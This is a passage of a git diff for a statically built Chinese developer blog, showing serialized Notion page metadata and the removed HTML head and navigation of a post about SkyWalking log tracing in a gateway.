-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"5010afdb-92b5-4f49-958b-0b8c900d6190":{"value":{"id":"5010afdb-92b5-4f49-958b-0b8c900d6190","version":11,"type":"gallery","name":"Post Gallery","format":{"gallery_cover":{"type":"page_cover"},"property_filters":[{"id":"e5e69a48-8053-4d20-9e5a-73e8b24dab16","filter":{"filter":{"value":{"type":"exact","value":"Post"},"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"a80c22ef-8b56-410d-af06-07615c5f2654":{"value":{"id":"a80c22ef-8b56-410d-af06-07615c5f2654","version":13,"type":"board","name":"Post Board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"},"e17348d8-5a80-4f02-813c-025b790d16c8":{"value":{"id":"e17348d8-5a80-4f02-813c-025b790d16c8","version":32,"type":"table","name":"Config","format":{"gallery_cover":{"type":"page_content"},"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"property_filters":[{"id":"b54a6c88-635d-4de4-946e-5a855a1f4069","filter":{"filter":{"value":[{"type":"exact","value":"Notice"},{"type":"exact","value":"Menu"},{"type":"exact","value":"Config"},{"type":"exact","value":"SubMenu"},{"type":"exact","value":"Page"}],"operator":"enum_is"},"property":"`gQ~"}}],"table_properties":[{"width":116,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":118,"visible":true,"property":"`gQ~"},{"width":219,"visible":true,"property":"title"},{"width":326,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"`gQ~"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"}],"table_frozen_column_index":-1,"table_subitem_toggle_column":"title"},"parent_id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","parent_table":"block","alive":true,"space_id":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"role":"reader"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"next":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240119-notion"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/240121-skywaking.html b/article/240121-skywaking.html
index 253e78e13..258ed0343 100644
--- a/article/240121-skywaking.html
+++ b/article/240121-skywaking.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>解决SkyWalking在gateway中logback链路丢失 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="推荐,开发,日志,微服务,spring,skywalking"/><meta name="description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="解决SkyWalking在gateway中logback链路丢失 | Both Savage"/><meta property="og:description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta property="og:url" content="https://bothsavage.github.io//article/240121-skywaking"/><meta property="og:image" content="https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"/><meta name="twitter:title" content="解决SkyWalking在gateway中logback链路丢失 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a 